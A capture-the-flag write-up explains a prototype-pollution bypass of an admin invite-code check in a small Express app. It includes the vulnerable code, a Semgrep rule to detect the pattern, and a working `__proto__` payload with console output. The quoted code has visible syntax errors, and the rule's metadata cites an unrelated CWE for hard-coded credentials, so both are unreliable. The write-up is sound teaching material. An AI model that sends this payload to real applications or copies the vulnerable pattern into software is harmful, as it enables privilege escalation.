Challenge Link.

R3zk0n Β· October 2, 2025

Contents

    Challenge Link.

    Vulnerable Code

    const express = require('express');
    const BodyParser = require('body-parser');
    const { inviteCode } = require("./secret");
    const app = express();
    app.use(BodyParser.text());
    
    const port = 3000;
    const baseUser = { "picture': default.png"}
    function CreateAdmin(user);
    function CreateUser(user);
    
    app.post("/" (req, res) => {
        let user = JSON.parse(req.body);
        (if user.isAdmin && user.inviteCode !== inviteCode){
            res.send("No Invite Code, No admin");
        } else {
            let newUser = Object.assign(baseuser, user);
            if(newUser.isAdmin) createAdmin(newUser);
            else createUser(user);
            res.send("Succesfully created Admin" + ${newUser.isAdmin ? 'Admin': 'User'})
    
        }
    })
    

    Semgrep Rule

    rules:
    - id: basic-Prototype_pollution-check
      pattern: $X = JSON.parse($V);
                ...
                $E = Object.assign(..., $X);
          
      message: |
          $X is used in JSON.parse($V); then parsed to $E = Object.assign($X); this could lead to prototype pollution.
      languages: [js, ts]
      severity: WARNING
      metadata: 
          cwe: "CWE-798: Use of Hard-coded Credentials"
          category: security
          technology:
            - jwt
            - nodejs
            - secrets
          license: Commons Clause License Condition v1.0[LGPL-2.1-only]
    
    
    The goal of this challenge is to become the admin user, but there are some checks which needs to be bypassed.
    
    If we set the `isAdmin:true` in our request body, this if condition will evaluate to true and this error will be return *No Invite code? No admin*
    As we don't know the  correct `inviteCode` the second condition will always be true.
    
    ```js
    if(user.isAdmin && user.inviteCode !== inviteCode)
    

    But if we set the isAdmin:false in our request body, the else part of the code gets execute but we won’t be an admin user (the createAdmin method is only called when isAdmin:true is there)

    In order to circumvent both the checks we will exploit the prototype pollution vuln which is on this line:

    user = JSON.parse(req.body)
    let newUser = Object.assign(baseUser, user)
    

    We have full control over the user variable so by passing this in the request body will solve the challenge:

    {"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}
    
    >let user = JSON.parse('{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}')
    >user.isAdmin
     undefined
    >user.__proto__.isAdmin
     true
    

    user.isAdmin returns undefined (in AND operation if any of the two conditions returns false , the end result will be false ), so the else part is executed.

    let newUser = Object.assign(baseUser, user)
    
    >newUser.__proto__.isAdmin
     true
    >newUser.isAdmin
    true
    

    Due to the prototype pollution vuln , newUser.isAdmin will return true and the CreateAdmin method will be called.

    Twitter, Facebook